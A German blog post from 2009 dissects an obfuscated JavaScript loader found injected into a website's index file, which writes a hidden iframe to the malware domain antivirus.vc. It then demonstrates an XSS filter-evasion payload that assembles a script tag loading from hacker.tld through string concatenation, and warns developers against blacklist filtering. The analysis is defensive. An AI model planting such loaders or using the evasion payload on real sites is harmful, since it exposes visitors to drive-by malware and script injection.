Daily Archives: 6. Mai 2009

Nachladen von Malware per JavaScript verschleiern

Vor einem Monat las ich in “Security-Hinweise zu einem PowerPoint-Exploit und mehr” (entwickler.de)

Getarnter JavaScript-Code – Signaturerkennung zwecklos
Im Handler’s Diary des ISC werden neue Wege zur Tarnung von JavaScript-Code beschrieben und dabei festgestellt, das signaturbasierte Scans zur Suche nach bösartigen JavaScript-Code zwecklos sind.

Darin gibt es einen Link zu “Advanced JavaScript obfuscation (or why signature scanning is a failure)” (isc.sans.org), wo die Tarnung etwas näher erklärt wird.

Diese Methode kam mir nun in freier Wildbahn unter. Am Ende einer Index-Datei fand ich folgenden Code (2080 Zeichen in einer Zeile):
<script>
function c268fb268di49ff54f25b4a1(i49ff54f25b87a){
function i49ff54f25bc89(){var i49ff54f25c057=16;re
turn i49ff54f25c057;} return (parseInt(i49ff54f25b
87a,i49ff54f25bc89()));}function i49ff54f25c40e(i4
9ff54f25c83d){ function i49ff54f25d3f2(){return 2;
} var i49ff54f25cc0d='';i49ff54f25dbc0=String.from
Cha rCode;for(i49ff54f25cff3=0;i49ff54f25cff3<i49f
f54f25c83d.length;i49ff54f25cff3+=i49ff54f25d3f2()
){ i49ff54f25cc0d+=(i49ff54f25dbc0(c268fb268di49ff
54f25b4a1(i49ff54f25c83d.substr(i49ff54f25cff3,i49
ff54f25d3f2()))));}return i49ff54f25cc0d;} var r4f
='';var i49ff54f25df4f='3C7'+r4f+'3637'+r4f+'2697'
+r4f+'07'+r4f+'43E696628216D7'+r4f+'96961297'+r4f+
[...]
2F7'+r4f+'3637'+r4f+'2697'+r4f+'07'+r4f+'43E';
document.write(i49ff54f25c40e(i49ff54f25df4f));
</script>

Ein alert(i49ff54f25c40e(i49ff54f25df4f)); zeigt uns:
JavaScript decodiert 1

Und alert(unescape('%3c%69%66%72 [...] %61%6d%65%3e')); zeigt nun auch HTML-Code:
JavaScript decodiert 2

Der ganze JavaScript-Funktion-Rechen-Zauber wird getrieben, um zu verschleiern dass folgende URL in einem Iframe nachgeladen werden soll: http://antivirus.vc/?[Zufallszahl]c

Laut dem hier Malware Domain List: antivirus.vc (malwaredomainlist.com) wurde über die Domain u.a. ein Trojaner verteilt.

Auch Google hat Infos zu der Domain antivirus.vc (google.com). Die Safe-Browsing-Diagnoseseite zeigt an, dass angeblich 51 Domains infiziert wurden. Googles Info ist ja ganz nett, nur leider bekommt nicht einmal ein Surfer der Chrome benutzt einen Hinweis zu der Malware, wenn er eine der infizierten WebSites oder gar die antivirus.vc selber ansurft?!

Wenn Google diese Malware-Info im Browser nutzen würde, dann müßten sie wohl auch ihre eigene Seite als infiziert outen: http://www.google.com/safebrowsing/diagnostic?site=google.com

Welche Befunde hat Google beim Besuch dieser Website festgestellt?
Bei 1 Seite(n) von insgesamt 6306 Seiten dieser Website, die wir in den letzten 90 Tagen getestet haben, wurde festgestellt, dass Malware (Schadsoftware) ohne Einwilligung des Nutzers heruntergeladen und installiert wurde. Der letzte Besuch von Google auf dieser Website war am 2009-05-05 und verdächtiger Content wurde auf dieser Website zuletzt am 2009-03-27 gefunden.

Von dem “zuletzt am … gefunden” sollte man sich aber nicht täuschen lassen, die infizierten Domains die zu antivirus.vc angezeigt werden, sind noch immer infiziert, auch wenn zu einer folgendes zu lesen ist:

Der letzte Besuch von Google auf dieser Website war am 2009-05-04 und verdächtiger Content wurde auf dieser Website zuletzt am 2009-03-31 gefunden.

Es könnte auch sein das Google diese JavaScript-Verwurschtelung gar nicht registriert hat und am 31.03. etwas anderes gefunden wurde.


Die Methode Code zu verschleiern läßt sich auch für XSS-Angriffe ausnutzen.

Es gibt leider noch immer Entwickler die mit böse-TAGs-Listen arbeiten. Anstatt einfach alles außer alphanumerische Zeichen auszufiltern, wird versucht HTML-TAGs in gute und böse TAGs einzuteilen. Da wird dann zwar <script>irgendwas</script> zugelassen, aber wenn versucht wird per <script src=http://hacker.tld/xss.js></script> ein Script nachzuladen, dann wird das ausgefiltert.


<script>
a = document;
b = "write";
c = "Text im Browser";
a[b](c);
</script>

Sieht auf den ersten Blick nicht so aus als ob da was passiert… aber im Browser wird “Text im Browser” ausgegeben.


Aus
<script>
a = document; b = "wr"; c = "ite"; d = "<s";
e = "crip"; f = "t sr"; g = "c=h"; h = "ttp";
i = ":/"; j = "/ha"; k = "ck"; l = "er.";
m = "tld/"; n = "xs"; o = "s.j"; p = "s><";
q = "\/"; r = "sc"; s = "rip"; t = "t>";
x = d+e+f+g+h+i+j+k+l+m+n+o+p+q+r+s+t;
a[b+c](x);
</script>

macht der Browser <script src=http://hacker.tld/xss.js></script>


Also liebe Entwickler – bitte keine Blacklist-Methode anwenden.